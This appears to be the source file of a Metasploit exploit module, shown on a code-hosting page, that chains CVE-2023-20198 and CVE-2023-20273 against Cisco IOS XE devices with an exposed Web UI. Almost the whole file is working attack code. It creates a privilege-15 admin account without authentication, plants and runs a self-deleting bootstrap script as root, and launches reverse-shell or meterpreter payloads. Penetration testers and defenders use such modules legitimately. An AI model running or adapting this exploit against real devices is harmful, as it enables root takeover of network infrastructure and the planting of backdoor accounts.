Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/cisco_ios_xe_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HTTP::CiscoIosXe9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Retry11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Cisco IOX XE Unauthenticated RCE Chain',18'Description' => %q{19This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE20devices which have the Web UI exposed. An attacker can execute a payload with root privileges.2122The vulnerable IOS XE versions are:2316.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,2416.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,2516.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,2616.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,2716.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,2816.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,2916.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,3016.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,3116.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,3216.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,3316.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,3416.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,3516.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,3617.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,3717.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,3817.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,3917.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,4017.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,4117.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,4217.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,4317.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,4417.11.99SW45},46'License' => MSF_LICENSE,47'Author' => [48'sfewer-r7', # MSF Exploit49],50'References' => [51['CVE', '2023-20198'],52['CVE', '2023-20273'],53# Vendor advisories.54['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'],55['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'],56# Vendor list of (205) vulnerable versions.57['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'],58# Technical details on CVE-2023-20198.59['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/'],60['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/'],61# Technical details on CVE-2023-20273.62['URL', 'https://blog.leakix.net/2023/10/cisco-root-privesc/'],63# Full details of a successful exploitation attempt from a honey pot.64['URL', 'https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf'],65],66'DisclosureDate' => '2023-10-16',67'Privileged' => true,68'Platform' => %w[linux unix],69'Arch' => [ARCH_CMD],70'Targets' => [71[72# Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:73# cmd/linux/http/x64/meterpreter/reverse_tcp74# cmd/linux/http/x64/shell/reverse_tcp75# cmd/linux/http/x86/shell/reverse_tcp76'Linux Command',77{78'Platform' => 'linux',79'Arch' => [ARCH_CMD]80},81],82[83# Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:84# cmd/unix/python/meterpreter/reverse_tcp85# cmd/unix/reverse_bash86'Unix Command',87{88'Platform' => 'unix',89'Arch' => [ARCH_CMD]90},91]92],93'DefaultTarget' => 0,94'DefaultOptions' => {95'RPORT' => 443,96'SSL' => true97},98'Notes' => {99'Stability' => [CRASH_SAFE],100'Reliability' => [REPEATABLE_SESSION],101'SideEffects' => [IOC_IN_LOGS]102}103)104)105106register_options(107[108# We allow a user to specify the VRF name to route traffic for the payloads network transport. The default of109# 'global' should work, but exposing this as an option will allow for usage in more complex network setups.110# A user could leverage the auxiliary module auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 to111# inspect a devices configuration to see an appropriate VRF to use.112OptString.new('CISCO_VRF_NAME', [ true, "The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.", 'global']),113# We may need to try and execute a command a second time if it fails the first time. This option is the maximum114# number of seconds to keep trying.115OptInt.new('CISCO_CMD_TIMEOUT', [true, 'The maximum timeout (in seconds) to wait when trying to execute a command.', 30])116]117)118end119120def check121# First, a get request to the root of the Web UI, this lets us verify the target is a Cisco IOS XE device with122# the Web UI exposed (which is the vulnerable component).123res = send_request_cgi(124'method' => 'GET',125'uri' => normalize_uri('webui')126)127128return CheckCode::Unknown('Connection failed') unless res129130# We look for one of two identifiers to ensure the request to /webui above returns something with Cisco in the content.131if res.code != 200 || (!res.body.include?('Cisco Systems, Inc.') || !res.headers['Content-Security-Policy']&.include?('cisco.com'))132return CheckCode::Unknown('Web UI not detected')133end134135# By here we know the target is the IOS XE Web UI. We leverage the vulnerability to pull out the version number,136# so if this request succeeds, then we known the target is vulnerable.137res = run_cli_command('show version', Mode::PRIVILEGED_EXEC)138139# If the above request failed, then the target is safe.140return CheckCode::Safe unless res141142version = 'Cisco IOS XE Software'143144# If we can pull out the version number via a regex, we do. If this fails, the target is still vulnerable145# (as the above call to run_cli_command succeeded), however maybe this firmware version uses a different format146# for the version information so our regex wont work.147# Note: Version numbers can have letters in them, e.g. 17.11.99SW or 16.12.1z2148if res =~ /(Cisco IOS XE Software, Version \S+\.\S+\.\S+)/149version = Regexp.last_match(1)150end151152CheckCode::Vulnerable(version)153end154155def exploit156admin_username = rand_text_alpha(8)157admin_password = rand_text_alpha(8)158159# Leverage CVE-2023-20198 to run an arbitrary CLI command and create a new admin user account.160unless run_cli_command("username #{admin_username} privilege 15 secret #{admin_password}", Mode::GLOBAL_CONFIGURATION)161fail_with(Failure::UnexpectedReply, 'Failed to create admin user')162end163164begin165print_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'")166167# Leverage CVE-2023-20273 to run an arbitrary OS commands and bootstrap a Metasploit payload...168169# A shell script to execute the Metasploit payload. Will delete itself upon execution.170bootstrap_script = "#!/bin/sh\nrm -f $0\n#{payload.encoded}"171172# The location of our bootstrap script.173bootstrap_file = "/tmp/#{Rex::Text.rand_text_alpha(8)}"174175# NOTE: Rather than chaining the commands with a semicolon, we run them separately. This allows version 16.* and176# 17.8 to work as expected. Version 16.* did not work when semi colons were present in the command line.177178# Write a script to disk which will execute the Metasploit payload. We base64 encode it to avoid any problems179# with restricted chars, and leverage openssl to decode and write the contents to disk.180success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do181next run_os_command("openssl enc -base64 -out #{bootstrap_file} -d <<< #{Base64.strict_encode64(bootstrap_script)}", admin_username, admin_password)182end183184unless success185fail_with(Failure::UnexpectedReply, 'Failed to plant the bootstrap file')186end187188# Make the script executable.189success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do190next run_os_command("chmod +x #{bootstrap_file}", admin_username, admin_password)191end192193unless success194fail_with(Failure::UnexpectedReply, 'Failed to chmod the bootstrap file')195end196197# Execute our bootstrap script via mcp_chvrf.sh, and with 'global' virtual routing and forwarding (vrf) by198# default. The VRF allows the executed script to route its network traffic back the framework. The map_chvrf.sh199# scripts wraps a call to /usr/sbin/chvrf, which will conveniently fork the command we supply.200success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do201next run_os_command("/usr/binos/conf/mcp_chvrf.sh #{datastore['CISCO_VRF_NAME']} sh #{bootstrap_file}", admin_username, admin_password)202end203204unless success205fail_with(Failure::UnexpectedReply, 'Failed to execute the bootstrap file')206end207ensure208print_status("Removing user '#{admin_username}'")209210# Leverage CVE-2023-20198 to remove the admin account we previously created.211unless run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION)212print_warning('Failed to remove user')213end214end215end216217end218219220